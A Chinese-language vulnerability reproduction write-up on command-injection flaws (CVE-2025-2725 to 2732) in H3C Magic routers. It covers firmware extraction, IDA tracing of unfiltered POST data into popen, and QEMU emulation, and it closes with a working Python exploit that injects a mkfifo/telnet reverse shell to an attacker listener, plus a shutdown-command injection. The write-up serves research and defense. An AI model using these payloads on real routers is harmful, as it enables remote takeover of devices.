H3C系列部分路由器(CVE-2025-2725~2732)漏洞复现

固件安全
2025-04-10 11:15
56288

H3C系列部分路由器(CVE-2025-2725~2732)漏洞复现

漏洞概要:未授权命令执行

**CVE描述:**在 H3C Magic NX15、Magic NX30 Pro、Magic NX400、Magic R3010 和 Magic BE18000(最高到 V100R014 版本)中发现了一个被归类为严重的漏洞。该漏洞影响组件 HTTP POST 请求处理器文件/api/login/auth/api/esps/api/wizard/getNetworkStatus/api/wizard/getNetworkConf/api/wizard/networkSetup/api/wizard/getssidname/api/wizard/getDualbandSync/api/wizard/getWifiNeighbour 的某个未知功能。通过操控可导致命令注入。攻击可以远程发起。

**CVSSv3评分:**8.7

一、信息搜集

1.使用binwalk提取固件

(固件官网可下载)

binwalk NX15V100R012.bin 

1.png

该固件是Squashfs文件系统,小端,未加密,可以使用binwalk提取该固件

binwalk -Me NX15V100R012.bin 

2.png

2.使用file命令查看固件文件信息

3.png

可以看出固件文件结构是32位MIPS架构,小端模式

3.使用checksec命令查看文件保护机制

4.png

开启了地址随机化

二、漏洞分析

CVE-2025-2727~2732
1.漏洞定位

根据漏洞情报复述,我们试着在整个文件中搜索getWifiNeighbou关键字,查找相关二进制文件

5.png

6.png

www目录下找到api二进制文件,将其用IDA打开分析。在IDA中搜索字符串getWifiNeighbou定位到相关函数FCGI_WizardProcess,分析该函数的功能:

该函数负责处理 FastCGI 请求,并根据输入参数 a1(可能是请求路径)调用不同的处理逻辑。

7.png

这里是获取请求体长度部分,通过 getenv("CONTENT_LENGTH") 获取 HTTP 请求体的长度,如果未获取到长度,记录日志并退出,v10 是请求体的字节数,可能由攻击者控制(通过 HTTP 请求头)。

8.png

这里是请求路径匹配部分,通过字符串比较(strncmpstrcmp)匹配请求路径。当路径为 /wizard/getWifiNeighbour 时,调用 FCGI_WizardProtoProcess(a1, v15, v10)

参数:a1: 请求路径(/wizard/getWifiNeighbour),v15: 路径长度,v10: 请求体长度。

跟进去FCGI_WizardProtoProcess函数,分析该函数的功能:

该函数是一个在 FastCGI 环境下处理特定 HTTP 请求的核心函数,特别是在 H3C Magic 设备固件中用于处理以 /wizard/ 开头的 API 请求(例如 /wizard/getWifiNeighbour)。它的主要功能是通过调用 Lua 脚本(/usr/lib/lua/protol_cvt.lua)来处理请求数据,并将脚本的输出以 JSON 格式返回给客户端。

9.png

这里是请求体读取部分,如果a3 > 0(有请求体),分配内存并读取POST数据到v14v10用于计算缓冲区大小,用于后续命令构造。问题就在于:未对v14内容进行任何过滤或验证,直接用于后续命令拼接。

10.png

这里是命令构造和执行部分,使用snprintf拼接Lua命令:

  • 有请求体时:lua /usr/lib/lua/protol_cvt.lua wizard '<a1>' '<v14>'
  • 无请求体时:lua /usr/lib/lua/protol_cvt.lua wizard '<a1>'

再使用FCGI_popen执行构造的命令,将输出读取到v17并返回给客户端。

其中,v14是用户可控的POST数据,直接嵌入命令字符串,FCGI_popen等价于popen,将命令传递给shell执行。

当然,这里FCGI_popen函数的作用只是上下文和函数名进行大致猜测,具体要跟进去查看其具体功能。

11.png

发现是个外部引用函数,同样的,使用grep命令在整个文件中进行查找

12.png

找到了libfcgi.so.0.0.0文件,使用IDA将其打开分析。搜索FCGI_popen函数分析:

13.png

可以看到FCGI_popen 通过 popen 执行命令,依赖 shell 解析,直接暴露了 FCGI_WizardProtoProcess 中未过滤的 v14,导致命令注入。

通过之前的分析,可以得知,该漏洞的根源是 FCGI_WizardProtoProcess 函数将用户控制的请求体(v14)未经充分过滤就拼接到命令字符串中,并通过 FCGI_popen(最终调用 popen)在 shell 中执行。

接下来,我们要分析该漏洞的注入点。

2.注入点定位

getWifiNeighbou函数中有这一句代码:

14.png

其中fcgi_sF的含义:

  • 在FastCGI环境中,fcgi_sF通常是标准输入流(FCGI_stdin),用于读取客户端发送的HTTP请求体(POST数据)。
  • FCGI_fread的行为类似于标准C的fread,从输入流读取指定字节数。

所以,这句代码的作用是将POST请求体的内容读取到v14中,读取的字节数由CONTENT_LENGTH(即a3)指定。

现在可以知道我们需要拼接的命令来自于fcgi_sF中的post数据,这里再对fcgi_sF进行大致的分析。同样的方式检索关键字fcgi_sF,在libfcgi.so.0.0.0文件中找到了相关函数FCGI_Accept

15.png

通过对该函数的分析,可以大致确定post数据的流转过程:

  1. 客户端:
    • 发送POST请求,请求体为test' && id && '(假设)(17字节)。
  2. Web服务器:
    • 接收请求,转发给FastCGI进程。
  3. FastCGI进程(FCGI_Accept):
    • 调用FCGX_Accept,将请求体存储在输入流(dword_184E4)。
    • environ 设置CONTENT_LENGTH=17
    • fcgi_sF 可能被赋值为dword_184E4
  4. 路径处理(FCGI_WizardProcess):
    • 解析路径,调用FCGI_WizardProtoProcess,传递a3 = 17
  5. 数据读取(FCGI_WizardProtoProcess):
    • 分配内存给v14
    • FCGI_freadfcgi_sF读取17字节到v14
  6. 结果:
    • v14 = "test' && id && '\0"

因此就可以知道漏洞利用的关键是在请求体中注入 shell 元字符(如 ;),以在 lua 命令后附加恶意命令。

CVE-2025-2725

漏洞定位

在IDA中搜索/login/auth字符串定位到相关函数FCIG_LoginProcess

27-1.png

27.png

当函数检查输入参数 a1(请求路径)为 /login/auth时,根据流程,将fcgi_sF中的post数据读取到v26中,然后调用FCGI_UserLogin(v26)函数,v26数据传进a1,跟进分析:

28.png

同样的,根据执行流程,这里会调用FCGI_UbusCmdCall函数,a1数据传进a3,跟进分析:

29.png

在这里进行了命令拼接与执行,其漏洞发生原理跟上述漏洞相同。

CVE-2025-2726

漏洞定位

在IDA中搜索esps字符串定位到相关函数ftextftext是一个FastCGI应用程序的主处理函数,负责处理HTTP请求并分发到不同的处理逻辑:

30.png

当请求路径以/esps开头时(对应/api/esps),调用FCGI_EspsProcess函数。不过这里,前提是要通过认证,因此,在复现该漏洞时,要在授权情况下进行。

跟进FCGI_EspsProcess函数分析:

31.png

没错,同样的漏洞发生原理。

接下来,进行固件模拟以验证漏洞。

三、固件模拟

1.使用qemu模拟固件

主机配置ip

sudo tunctl -t tap0
sudo ifconfig tap0 192.168.0.1/24 up
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward > /dev/null
sudo iptables -t nat -A POSTROUTING -o ens33 -j MASQUERADE
sudo iptables -A FORWARD -i tap0 -j ACCEPT
sudo iptables -A FORWARD -o tap0 -j ACCEPT

qemu启动

#!/bin/sh
qemu-system-mipsel \
    -M malta\
    -kernel /home/iotsec-zone/Tools/qemu-images/mipsel/vmlinux-3.2.0-4-4kc-malta \
    -hda /home/iotsec-zone/Tools/qemu-images/mipsel/debian_squeeze_mipsel_standard.qcow2 \
    -append "root=/dev/sda1 console=tty0" \
    -net nic -net tap,ifname=tap0,script=no,downscript=no \
    -nographic

虚拟机配置ip

ip addr add 192.168.0.2/24 dev eth0
ip link set eth0 up
ip route add default via 192.168.0.1

将固件文件导入qemu虚拟机中并挂载文件

16.png

启动web服务

17.png

2.访问网页

18.png

访问网页后发现,页面显示不完全,qemu中也显示出错误日志信息

19.png

这是由于lua脚本执行时无法访问result字段,导致执行失败,所以无法回显页面。

不过没关系,使用burp构造一个访问漏洞注入点/api/wizard/getWifiNeighbour 的请求包,将其发送

20.png

可以看到,响应200 ok ,说明该api接口正常工作,不影响正常的漏洞利用。

四、漏洞利用

CVE-2025-2727~2732、CVE-2025-2725

(这些漏洞exp是通用的,只需按照漏洞情报更改请求头既可)

1.漏洞验证

构造一个请求包,在请求体中编写恶意命令,其效果为在目标设备中创建文本文件并写入字符串:

21.png

其中,cmd的作用是占位符

22.png

漏洞验证成功!

2.构造exp

在查看文件时中发现了telnet,那么就可以构造一个exp,利用telnet进行反弹shell:

23.png

exp:

import requests

url = "http://192.168.0.2/api/wizard/getWifiNeighbour"
headers = {
    "Host": "192.168.0.2",
    "Content-Length": "108",
    "Content-Type": "application/json"
}
payload = {
    "cmd": "'; mkfifo /tmp/f; /usr/bin/telnet 192.168.0.1 4444 < /tmp/f | /bin/sh > /tmp/f; rm /tmp/f; '"
}

try:
    response = requests.post(url, headers=headers, json=payload, timeout=5)
    print("EXP sent successfully!")
    print("Response:", response.text)
except requests.RequestException as e:
    print("Error sending EXP:", e)

print("Listen on 192.168.0.1:4444 (e.g., 'nc -lvvp 4444') to catch the shell.")

这个 payload 通过命令注入,利用漏洞在目标设备上执行 shell 命令。使用 FIFO 文件创建临时通信通道,通过 telnet 建立与攻击机的 TCP 连接,并借助管道和重定向将 shell 的输入输出绑定到网络,最后清理临时文件以隐藏痕迹。

3.exp效果

主机上开启nc监听:

24.png

执行exp脚本:

25.png

结果:

26.png

成功拿到shell!

CVE-2025-2726

由于该漏洞是需要授权的,因此在构造请求包时要添加AUTHENTICATION且有正确的session值。由于qemu功能模拟不全面,无法进行登录,因此我这里拿实体机(H3C Magic NX15)进行演示:

32.png

33.png

构造请求包,注入关机命令,发送

34.png

设备成功关机!

分享到

参与评论

0 / 200

全部评论 0

暂无人评论
投稿
签到
联系我们
关于我们